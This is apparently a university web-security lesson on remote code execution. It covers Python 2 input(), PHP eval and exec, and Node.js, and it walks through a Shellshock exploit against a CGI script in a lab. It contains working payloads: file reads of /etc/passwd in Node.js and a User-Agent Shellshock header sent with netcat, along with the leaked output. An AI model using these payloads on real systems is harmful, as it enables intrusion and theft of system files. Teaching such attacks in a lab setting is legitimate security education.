Skip to content

What is Code and Command Execution

First we will examine the concept of Remote Code Execution (RCE)

RCE is a type of exploit where the attacker is able to execute commands on the target machine. For example raw user input is executed by a program on the system (for example the PHP interpreter).

Depending on the types of command that can be run, the severity of a RCE attack can be major, with the attacker able to gain remote access to the target server.

Code Execution in common web Languages

RECAP: Examples of Code Execution: Python1

A Classic example of a code execution flaw was found in Python2's input function3. This would take whatever the user supplied as data, evaluate it, and return the result.

>>> out = input()
"Hello World"
>>> out
'Hello World'

It would also allow us to do useful things like calculations.

>>> out = input()
2 + 2
>>> out
4

However, the Major flaw here was the evaluation of the code. Behind the scenes python would execute whatever was input and display the result. This would allow us to run system commands, (or do other interesting things)

For example

>>> out = input()
__import__("os").system("whoami")
desktop-kjdvq2j\dang
>>>

One of the interesting thing about RCE in Python, is we also have access to the Python interpreter itself. This means that we can access any of the functionality within the standard library. For example, if the system function is filtered, we may still be able to open and read files, or spawn a process using things like the Sub Process module.

RECAP: Code Execution Example: PHP

We can see a similar problem in PHP. Dangerous functions include:

  • include()
  • eval()
  • exec()
  • system()

If we allow the user to supply unsanitised input to any of these commands, then it is possible that RCE could occur.

Note

This is exactly what was happeining in the Moodle Vulnerblility we demoed back in week 1. To work out the answer in the calculated question, parts of the input were run through eval().

This lead to a situation where we could execute code remotely.

Code Execution in NodeJS

NodeJS is another common web development language.

We can also get remote code execution, though improper use of functions such as eval.

Once we have identified a node RCE we also have the interpreter available to us. This means we can:

Read and manipulate Files

Using the fs class we can manipulate the contents of files the web server has access to.

For example

require('fs').read('/etc/passwd').toString()

#Alternitively
require('fs').read('/etc/passwd').toString()
Read directories

We can also list the contents of directories (where we have permission)

#For example to read the current dir
require('fs').readdirSync('.').toString()

#Or everything in a users home directory
require('fs').readdirSync('/home/dang/').toString()
Execute Processes

We can also run system commands using the childprocess library

require('childprocess').exec("cat /etc/passwd').toString()

Note: while I use exec here, there is also spawn, fork etc.

Example: The CGI Bin and Shell Shock Vulnerability

Shell Shock CVE-2014-7169 was a flaw in the Bash shell, where attackers were able to execute code in a bash environment through environment variables. The CVE itself had a risk rating of 10/10 as the attack was easy to perform, and had significant consequences.

Note

One of the interesting things about shellshock is it was present from the very early days of Bash. Meaning it had been "in the wild" for about 25 years before getting discovered.

While Bash is not commonly used to produce web sites, it is very common on the web server itself, and applications may make use of bash or environment variables to perform tasks though CGI (Common Gateway Interface) scripts. CGI scripts are where the site will run a system command (for example to get the uptime of the server) and make the output available to the browser.

Exploiting Shellshock

To exploit shellshock we need a server that has some CGI functionality available.

Lets imagine we have a site that shows the system uptime via a CGI bin request.

The command that runs on the server could be something like

#!/bin/bash

echo "Content-Type: application/json"
echo ""
echo '{ "uptime": "`uptime`"}

Now while the command doesn't take any input we can still manipulate the environment variables to get the exploit to trigger.

Each time a request is made, the local environment variables are updated with the HTTP request headers, information like the user-agent, or cookies are stored, and used to process the request.

This means that the system is vulnerable because:

  • Shellshock is based on the incorrect processing of environment variables
  • The User agent is an environment variable
  • We know we can control the user-agent string

So how does this work in practice.

  • We add our own variable (for example user-agent) to the HTTP header and set its value to:
    • A String to create a new function definition in bash () { ;: }'
    • The command to to run echo \$(</etc/passwd)

This gives our final payload as something like

User-Agent: () { :;}; echo \$(</etc/passwd)

Which we can try out in Netcat to view all the users on the system.

dang@DESKTOP-KJDVQ2J:/mnt/c/Users/dang$ echo -e "HEAD /cgi-bin/status HTTP/1.0\r\nuser-agent: () { :; }; echo \$(</etc/passwd)\r\n\r\n" | nc 192.168.253.134 80
HTTP/1.1 200 OK
Date: Thu, 05 Nov 2020 13:14:13 GMT
Server: Apache/2.2.21 (Unix) DAV/2
root: x:0:0:root:/root:/bin/sh
lp: x:7:7:lp:/var/spool/lpd:/bin/sh
nobody: x:65534:65534:nobody:/nonexistent:/bin/false
tc: x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab: x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
Content-Length: 175
Connection: close
Content-Type: application/json

Task

Work through the shell shock example from pentester labs. https://pentesterlab.com/exercises/cve-2014-6271/course

Summary

In this section we have given an overview of remote code execution and seen how it can occur in different languages.

Now we know how RCE can be used, we need to find a way of getting this kind of code execution to happen.

In the next section we will take a look at file include based attacks. Which are one way of getting malicious code to run.

  1. Yes you have seen this bit before in [../2_LinuxAndShells/RCE.md] ↩

  2. OWASP on Code Injection ↩

  3. Python 2 Input Function NOTE: I am really surprised this doesn't have a BIG RED WARNING attached to it. Troy Hunt on shellshock ↩

Back to top